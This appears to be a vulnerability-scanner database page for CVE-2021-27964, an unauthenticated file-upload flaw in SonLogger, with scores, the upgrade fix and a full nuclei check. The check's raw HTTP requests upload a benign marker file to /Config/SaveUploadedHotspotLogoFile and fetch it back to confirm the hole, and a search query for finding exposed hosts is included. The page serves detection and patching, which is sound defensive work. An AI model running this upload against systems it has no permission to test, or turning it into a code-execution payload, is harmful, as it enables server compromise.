SonLogger - Arbitrary File Upload

criticalseverity

9.8CVSS score

47.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

SonLogger before 6.4.1 is affected by Unauthenticated Arbitrary File Upload. An attacker can send a POST request to /Config/SaveUploadedHotspotLogoFile without any authentication or session header. There is no check for the file extension or content of the uploaded file.

Impact

Unauthenticated attackers can upload malicious files without extension validation, achieving remote code execution and complete server compromise.

Fix

Upgrade to SonLogger version 6.4.1 or later.

How to confirm it

Send: POST /Config/SaveUploadedHotspotLogoFile
Positive when: status_code == 200 and contains(content_type, 'application/json') and contains(body, 'Message')
Send: GET /Assets/temp/hotspot/img/{{file}}.txt
Positive when: status_code == 200 and contains(body, '{{rand}}')

Run it with nuclei: nuclei -id CVE-2021-27964 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-27964

info:
  name: SonLogger - Arbitrary File Upload
  author: DhiyaneshDK
  severity: critical
  description: |
    SonLogger before 6.4.1 is affected by Unauthenticated Arbitrary File Upload. An attacker can send a POST request to /Config/SaveUploadedHotspotLogoFile without any authentication or session header. There is no check for the file extension or content of the uploaded file.
  impact: |
    Unauthenticated attackers can upload malicious files without extension validation, achieving remote code execution and complete server compromise.
  remediation: |
    Upgrade to SonLogger version 6.4.1 or later.
  reference:
    - https://erberkan.github.io/2021/SonLogger-vulns/
    - https://github.com/erberkan/SonLogger-vulns
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27964
    cwe-id: CWE-434
    epss-score: 0.47519
    epss-percentile: 0.98853
    cpe: cpe:2.3:a:sfcyazilim:sonlogger:*:*:*:*:*:*:*:*
  metadata:
    vendor: sfcyazilim
    product: sonlogger
    fofa-query: body="SonLogger"
    max-request: 2
  tags: cve,cve2021,sonlogger,intrusive,vkev,vuln

flow: http(1) && http(2)

variables:
  file: "{{to_lower(rand_text_alpha(5))}}"
  rand: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywBBYcU9lVZ
        X-Requested-With: XMLHttpRequest

        ------WebKitFormBoundarywBBYcU9lVZ
        Content-Disposition: form-data; name="file"; filename="{{file}}.txt"
        Content-Type: image/png

        {{rand}}
        ------WebKitFormBoundarywBBYcU9lVZ--

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, 'application/json')
          - contains(body, 'Message')
        condition: and
        internal: true

  - raw:
      - |
        GET /Assets/temp/hotspot/img/{{file}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, '{{rand}}')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from